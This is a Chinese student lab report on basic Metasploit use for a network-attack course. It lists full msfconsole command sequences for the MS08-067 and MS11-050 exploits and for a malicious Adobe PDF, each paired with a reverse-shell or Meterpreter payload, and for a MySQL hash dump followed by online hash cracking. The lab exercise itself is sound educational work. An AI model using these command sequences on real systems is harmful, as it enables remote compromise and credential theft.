《网络对抗》Exp5 MSF基础应用
20155336《网络对抗》Exp5 MSF基础应用
一、基础知识回答
- 用自己的话解释什么是exploit,payload,encode
- exploit:渗透攻击的模块合集,将真正要负责攻击的代码传送到靶机中。
- payload:攻击载荷,exploit把它传送到靶机中后,它就负责执行相应的攻击代码。
- encode:编码,实现免杀,不让杀毒软件很轻易的就发现payload是攻击代码。
二、实践过程
- 1.Windows服务渗透攻击——MS08-067安全漏洞
- ①攻击机:kali ②靶机:windows XP SP3(English)
在kali中输入msfconsole,然后依次输入一下命令:
- msf >
use exploit/windows/smb/ms08_067_netapi - msf exploit(ms08_067_netapi) >
show payloads - msf exploit(ms08_067_netapi) >
set payload generic/shell_reverse_tcp//tcp反向回连 - msf exploit(ms08_067_netapi) >
set LHOST 192.168.199.190//攻击机ip - msf exploit(ms08_067_netapi) >
set LPORT 5336//攻击端口 - msf exploit(ms08_067_netapi) >
set RHOST 192.168.192.226//靶机ip,特定漏洞端口已经固定 - msf exploit(ms08_067_netapi) >
set target 0//自动选择目标系统类型,匹配度较高 - msf exploit(ms08_067_netapi) >
exploit//攻击


建立会话,攻击成功;
- 2.浏览器渗透攻击——MS11-050
- ①攻击机:kali ②靶机:WindowsXP Professional sp2/Windows7专业版 ③IE版本:7.0/8.0
- 在kali中输入
msfconsole进入控制台,依次输入以下指令:- msf >
use windows/browser/ms11_050_mshtml_cobjectelement - msf exploit(ms11_050_cobjectelement) >
set payload windows/meterpreter/reverse_http//http反向回连 - msf exploit(ms11_050_cobjectelement) >
set LHOST 172.30.4.231//攻击机ip - msf exploit(ms11_050_cobjectelement) >
set LPORT 5336//攻击端口固定 - msf exploit(ms11_050_cobjectelement) >
set URIPATH 20155336hgy//统一资源标识符路径设置 - msf exploit(ms11_050_cobjectelement) >
exploit
- msf >

在浏览器输入http://172.30.4.231:8080/20155336hgy
,IE出现弹窗,警告遇到问题需关闭程序:

攻击机想要建立会话,但是靶机已经禁止了这个网页的访问,失败了。IE的浏览器弹窗阻止了~~但是我已经关掉了防火墙,可还是错误。查看了kali的链接情况,总是没有得到响应

总之一输入网址,IE就会直接卡死然后报错。参考了狄维佳同学的补救措施,还是无能为力。。万般无奈之下,只能先告一段落惹~~
- 3.针对Office软件的渗透攻击——MS10-087 如出一辙的操作!!
- ①攻击机:kali ②靶机:windowsXP Professional sp2 ③Office版本:2003
- kali输入
msfconsole进入控制台 - msf >
use windows/fileformat/adobe_cooltype_sing - msf exploit(adobe_cooltype_sing) >
set payload windows/meterpreter/reverse_tcp//tcp反向回连 - msf exploit(adobe_cooltype_sing) >
set LHOST 172.30.5.99//攻击机ip - msf exploit(adobe_cooltype_sing) >
set LPORT 5336//攻击端口 - msf exploit(adobe_cooltype_sing) >
set FILENAME 20155336.pdf//设置生成pdf文件的名字 - msf exploit(adobe_cooltype_sing) >
exploit//攻击

生成的pdf如下图所示:

将生成的pdf文件拷贝到靶机上。
在kali上输入back退出当前模块,进入监听模块,输入以下命令:
- msf >
use exploit/multi/handler//进入监听模块 - msf exploit(handler) >
set payload windows/meterpreter/reverse_tcp//tcp反向连接 - msf exploit(handler) >
set LHOST 192.168.5.99//攻击机ip - msf exploit(handler) > set LPORT 5336
- exploit

在靶机上打开201553336.pdf文件:(有一点点的卡顿~~~)

攻击成功:

4.辅助模块的应用:auxiliary/scanner/mysql/mysql_hashdump
- msf >
use auxiliary/scanner/mysql/mysql_hashdump - msf auxiliary(mysql_hashdump) >
set RHOSTS 192.168.1.106 - msf auxiliary(mysql_hashdump) >
set PASSWORD sa - msf auxiliary(mysql_hashdump) >
set USERNAME sa - msf auxiliary(mysql_hashdump) >
set THREADS 100 msf auxiliary(mysql_hashdump) >
exploit

- 这里,作为攻击者,是随便输入用户名和密码;那,得到这样的hash值密码,该怎么破解呢?嘿嘿,敲黑板,快拿小本本记下来,干货来了~~
http://www.cmd5.com/


(不说了...?????)

- bingo!!!(#_#肉疼)
实验体会
本次实验是针对metasploit基础的应用,在各种攻击方法都有所体验。通过这次实验,给我的感受就是对于攻击目标,我们要有一个很明确的想法和思路去实施步骤和计划,做到知己知彼。譬如攻击前的use.......,设置载荷之前的命令set payloads......。而且要很好的去利用show options这个命令去进一步了解需要配置的参数,yes显示必须要设置,no为可选项。对于实验中出现的问题要有耐心,不能简单的只得到一个攻击结果就行了,要仔细的去分析。就像自己在这次实验中出现的问题,攻击Adobe阅读器的时候用自己的kali和windows尝试了很多次,包括修改端口最后的还是无法回连到kali下,后来借用同学的电脑一次就成功了。之后经过修改电脑配置也解决了问题,所以有了问题不能浮躁,不去解决,多想想多百度~~
《网络对抗》Exp5 MSF基础应用的更多相关文章
- 2018-2019 20165232 Exp5 MSF基础应用
2018-2019 20165232 Exp5 MSF基础应用 一.原理与实践说明 1.实践内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个 ...
- 2018-2019 20165237网络对抗 Exp5 MSF基础应用
2018-2019 20165237网络对抗 Exp5 MSF基础应用 实验目标 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实践,如 ...
- 2018-2019 20165221 网络对抗 Exp5 MSF基础
2018-2019 20165221 网络对抗 Exp5 MSF基础 实践内容: 重点掌握metassploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实践,如ms0 ...
- 2018-2019-2 20165206 网络攻防技术 Exp5 MSF基础应用
- 2018-2019-2 20165206<网络攻防技术>Exp5 MSF基础应用 - 实验任务 1.1一个主动攻击实践,如ms08_067; (1分) 1.2 一个针对浏览器的攻击,如 ...
- 2018-2019 20165235 网络对抗 Exp5 MSF基础
2018-2019 20165235 网络对抗 Exp5 MSF基础 1. 实践内容(3.5分) 1.1一个主动攻击实践 攻击方:kali 192.168.21.130 靶机: win7 192.16 ...
- 2018-2019-2 网络对抗技术 20162329 Exp5 MSF基础应用
目录 Exp5 MSF基础应用 一.基础问题回答 二.攻击系统 ms08_067攻击(成功) 三.攻击浏览器 ms11_050_mshtml_cobjectelement(Win7失败) 手机浏览器攻 ...
- 2018-2019-2 20165311《网络对抗技术》Exp5 MSF基础应用
<网络对抗技术>Exp5 MSF基础应用 实验目的 实验内容 一个主动攻击实践(ms08_067) 一个针对浏览器的攻击(ms11_050) 一个针对客户端的攻击(adobe_toolbu ...
- 2018-2019-2 网络对抗技术 20165317 Exp5 MSF基础应用
2018-2019-2 网络对抗技术 20165317 Exp5 MSF基础应用 一.原理与实践说明 1.实践内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具 ...
- 2018-2019-2 网络对抗技术 20165225 Exp5 MSF基础应用
2018-2019-2 网络对抗技术 20165225 Exp5 MSF基础应用 验前准备 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻 ...
- 2018-2019-2 20165336《网络攻防技术》Exp5 MSF基础应用
2018-2019-2 20165336<网络攻防技术>Exp5 MSF基础应用 一.攻击实例 主动攻击的实践 ms08_067(成功) payload/generic/shell_rev ...
随机推荐
- ESLint 使用方法
一.全局安装 npm install -g eslint 二.生成配置文件 在项目根目录执行init,生成.eslintrc文件.在init时,要求根目录存在package.json.当然也可以直接复 ...
- NetBeans 打开项目中文乱码最简单的解决办法
网上各种修改配置文件,中文乱码还是没有解决,其实不是NetBeans的问题,是编辑器设置的字符集不支持中文,最简单的办法:!!! 设置新字体即可 !!!
- go语言练习:数组
1.创建数组: package main import "fmt" func main() { var lst = [3]int{1, 2, 3} //var name=[数量]类 ...
- Linux centos6.5 系统语言改成中文简体
有时候上传的文件在linux上ls显示的时乱码,原因可能是系统语言编码问题,以Linux centos6.5为例,解决方法如下: 1.在root(皇帝)权限下更改: 查看当前所有语言环境:locale ...
- spring-bean 版本的问题(报错:org.xml.sax.SAXParseException; lineNumber: 14; columnNumber: 75;)
当XML中配置的xsd是4.0,而引用的包是4以下的spring-bean.jar时,当服务器能连网时没问题,不能连网时,就报以下类似错误: org.xml.sax.SAXParseException ...
- Idea2018版本建的项目总是找不到主类
最近更新idea到2018,总是遇见无法加载到主类,刚开始以为是装的过程有什么搞错了,但重装好几遍都是,换成2017又恢复正常,最后发现聪明的同学找到了个偏门可以解决. 那就是先创建文件夹,然后在创建 ...
- python第四十三课——封装性
1.面向对象的三大特性:封装性.继承性.多态性 封装: 封装使用的领悟: 1).生活层面:食品.快递.计算机.明星... 2).计算机层面: ①.模块.类.函数... ②.属性数据的封装与隐藏 权限修 ...
- redis性能测试工具的使用
在redis安装完成后会生成一个bin的目录,在这个目录中有一个 redis-benchmark 的文件脚本工具,通过执行这个工具进行redis的性能测试. bash #执行这个脚本后脚本会自动运行r ...
- linux 的常用命令---------第二阶段
vim编辑器 vim 文件名(首先进入命令模式) :(进行编辑文件内容) → 按 i 键进入插入模式,可以写内容啦. ↓ 按 Esc 键,进入命令模式 ↓ 按 shift + : 键,进入末行模式 ...
- Stay true to yourself
https://zhuanlan.zhihu.com/p/22928614 艾伦·德詹尼斯,1958年1月26日出生于美国路易斯安纳州梅泰里,美国主持人.演员.凭借出众的诙谐幽默的口才和喜剧天赋,活跃 ...